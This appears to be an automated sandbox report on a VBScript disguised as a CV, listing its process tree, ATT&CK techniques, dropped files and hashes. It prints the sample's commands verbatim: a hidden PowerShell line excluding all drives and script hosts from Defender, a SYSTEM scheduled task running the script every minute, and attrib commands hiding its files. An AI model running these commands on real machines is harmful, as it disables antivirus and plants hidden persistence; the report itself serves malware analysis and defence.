- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\','D:\','E:\','F:\','G:\','H:\','I:\','C:\Users\Public\WindowsUpdate' ; Add-MpPreference -ExclusionProcess 'wscript.exe','cscript.exe','powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:4224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 2>nul | findstr "S-1-5-21"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
    3⤵
    PID:4540
- - C:\Windows\System32\findstr.exe
    findstr "S-1-5-21"
    3⤵
    PID:3776
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /tn MicrosoftNetworkCheckService /tr "C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo" /sc minute /mo 1 /st 00:03 /ru SYSTEM /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\System32\attrib.exe
    attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
    3⤵
    - Views/modifies file attributes
    PID:5404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
    3⤵
    - Views/modifies file attributes
    PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:836
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:5156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:5800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:3828
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c dir "C:\Users\Public\WindowsUpdate"
  2⤵
  - Executes a command shell one-liner
  PID:2936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5420

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo
1⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:3260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Windows\TEMP\fzfvtiio_msupdate_admin_marker.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Windows\TEMP\fzfvtiio_msupdate_admin_marker.txt"
    3⤵
    - Views/modifies file attributes
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5672
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:5468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:4188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:3376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\','D:\','E:\','F:\','G:\','H:\','I:\','C:\Users\Public\WindowsUpdate' ; Add-MpPreference -ExclusionProcess 'wscript.exe','cscript.exe','powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:952
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4216
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1396
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 2>nul | findstr "S-1-5-21"
  2⤵
  - Executes a command shell one-liner
  PID:3740
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
    3⤵
    PID:3308
- - C:\Windows\System32\findstr.exe
    findstr "S-1-5-21"
    3⤵
    PID:5640
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /tn MicrosoftNetworkCheckService /tr "C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo" /sc minute /mo 1 /st 00:03 /ru SYSTEM /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4212
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:5868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
  2⤵
  - Executes a command shell one-liner
  PID:4236
- - C:\Windows\System32\attrib.exe
    attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
    3⤵
    - Views/modifies file attributes
    PID:3088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4664
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
    3⤵
    - Views/modifies file attributes
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1120
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:5888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4632
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3304
- - C:\Windows\System32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:5952
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c dir "C:\Users\Public\WindowsUpdate"
  2⤵
  - Executes a command shell one-liner
  PID:3380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_aidcbujd.hwj.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aidcbujd.hwj.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

fzfvtiio_msupdate_admin_marker.txt

Path C:\Users\Admin\AppData\Local\Temp\fzfvtiio_msupdate_admin_marker.txt
Size 37B
SHA256 f0641fbaa969d8e51990044e35d94deb049bb8965d489e383ad66f5959b438f3
MD5 57aa70503135b46b8bf121a38e6ae57d
SHA1 27f5fc10ddd7bc388bcf551db016d505ba537ee3
SHA512 97a93062f8f023970e3852876ed0ecc2d6f18a2b5f390241762f55a24a2e89d9eaa6dbb7576d609e2dc07492e3ca890eae55a0e1714453014c60286340d97684
MD5 SHA1 SHA512

Submit Download

.setup_init

Path C:\Users\Public\WindowsUpdate\.setup_init
Size 42B
SHA256 9311aaa94cb4c27e48dce4041e6fc47a5363fdbf48ae5b14ac29aa71e5385d75
MD5 5bca24f686aec425cdff01c3db7ab42f
SHA1 98a660bb952b75f35a8a71e0832eb0d9f3fecd86
SHA512 5149f227837d3e64f2e5294f35fd6a921759d969d1d12a9ea82073bebc74efe4db878b23d5ff3e4f9810952e16bfb082699a527d9d53d806369bee282395b608
MD5 SHA1 SHA512

Submit Download

fzfvtiio_msupdate_admin_marker.txt

Path C:\Windows\TEMP\fzfvtiio_msupdate_admin_marker.txt
Size 37B
SHA256 b471044e4c8ce3ac6558dbd4f5ff62bb2aa25fbfcdbe0b927354ebdf21172ac4
MD5 4d8e26ba13f1bdca51432c34c6f4d225
SHA1 701b41f287f4f3e6871cc9db73e7f6aa43d08560
SHA512 af7242ea9aa79ade3d264b8303f0ac5cc7d6a4bb25a353f7cbc5f9ba67333d617b71b6143cd0dfcf4aebb44986e43d444335e38c5ca5a23af2d32591260da026
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2920-19-0x00000207C1B60000-0x00000207C1C12000-memory.dmp

Download

memory/5672-4-0x000001B5DFAD0000-0x000001B5DFAF2000-memory.dmp

Download

memory/5672-7-0x000001B5DFFA0000-0x000001B5DFFBE000-memory.dmp

Download

memory/5672-8-0x000001B5F8050000-0x000001B5F8102000-memory.dmp

Download

memory/5672-9-0x000001B5DFFC0000-0x000001B5DFFCA000-memory.dmp

Download